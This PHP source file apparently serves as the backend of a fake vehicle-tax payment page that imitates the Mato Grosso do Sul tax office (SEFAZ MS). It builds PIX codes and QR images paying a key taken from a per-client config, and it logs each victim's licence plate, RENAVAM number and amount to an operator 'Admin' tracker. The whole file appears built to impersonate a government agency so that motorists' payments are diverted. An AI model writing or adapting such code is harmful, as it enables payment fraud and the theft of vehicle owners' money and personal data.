<?php
/**
 * PIX API - Mato Grosso do Sul
 */

header('Content-Type: application/json; charset=utf-8');
header('Access-Control-Allow-Origin: *');
header('Access-Control-Allow-Methods: GET, POST, OPTIONS');
header('Access-Control-Allow-Headers: Content-Type');

if ($_SERVER['REQUEST_METHOD'] === 'OPTIONS') exit(0);

date_default_timezone_set('America/Sao_Paulo');

require_once __DIR__ . '/client-config.php';

$action = $_GET['action'] ?? 'generate';

if ($action === 'generate') {
    $input = json_decode(file_get_contents('php://input'), true);
    $placa = $input['placa'] ?? '';
    $renavam = $input['renavam'] ?? '';
    $amount = (float)($input['amount'] ?? $input['valor'] ?? 0);

    if ($amount <= 0) {
        echo json_encode(['success' => false, 'error' => 'Valor inválido']);
        exit;
    }

    $pixConfig = getPixConfig();
    
    // Gerar PIX Estático (BR Code)
    $pixBrCode = generateStaticPix(
        $pixConfig['pixKey'] ?? 'sefaz.ms@pix.gov.br',
        $pixConfig['receiverName'] ?? 'SEFAZ MS',
        $pixConfig['receiverCity'] ?? 'CAMPO GRANDE',
        $amount
    );

    $qrCodeUrl = 'https://api.qrserver.com/v1/create-qr-code/?size=400x400&data=' . urlencode($pixBrCode);

    // Registrar no Admin
    if (function_exists('trackEvent')) {
        trackEvent([
            'api_key' => SITE_API_KEY,
            'event_type' => 'pix_gerado',
            'placa' => $placa,
            'renavam' => $renavam,
            'valor' => $amount,
            'metadata' => [
                'transaction_id' => 'MS_' . time(),
                'gateway' => 'Static',
                'pix_key' => $pixConfig['pixKey'] ?? null
            ]
        ]);
    }

    echo json_encode([
        'success' => true,
        'pix_code' => $pixBrCode,
        'qr_code' => $qrCodeUrl,
        'amount' => $amount
    ]);
    exit;
}

function generateStaticPix($key, $name, $city, $amount) {
    $merchantName = strtoupper(preg_replace('/[^A-Za-z0-9 ]/', '', $name));
    $merchantCity = strtoupper(preg_replace('/[^A-Za-z0-9 ]/', '', $city));
    $amountStr = number_format($amount, 2, '.', '');
    $merchantAccountInfo = "0014br.gov.bcb.pix01" . str_pad(strlen($key), 2, '0', STR_PAD_LEFT) . $key;
    $payload = "00020101021126" . strlen($merchantAccountInfo) . $merchantAccountInfo . "52040000530398654" . str_pad(strlen($amountStr), 2, '0', STR_PAD_LEFT) . $amountStr . "5802BR59" . str_pad(strlen($merchantName), 2, '0', STR_PAD_LEFT) . $merchantName . "60" . str_pad(strlen($merchantCity), 2, '0', STR_PAD_LEFT) . $merchantCity . "62070503***6304";
    $crc = 0xFFFF;
    for ($i = 0; $i < strlen($payload); $i++) {
        $crc ^= (ord($payload[$i]) << 8);
        for ($j = 0; $j < 8; $j++) {
            if ($crc & 0x8000) $crc = ($crc << 1) ^ 0x1021;
            else $crc <<= 1;
        }
    }
    return $payload . strtoupper(str_pad(dechex($crc & 0xFFFF), 4, '0', STR_PAD_LEFT));
}
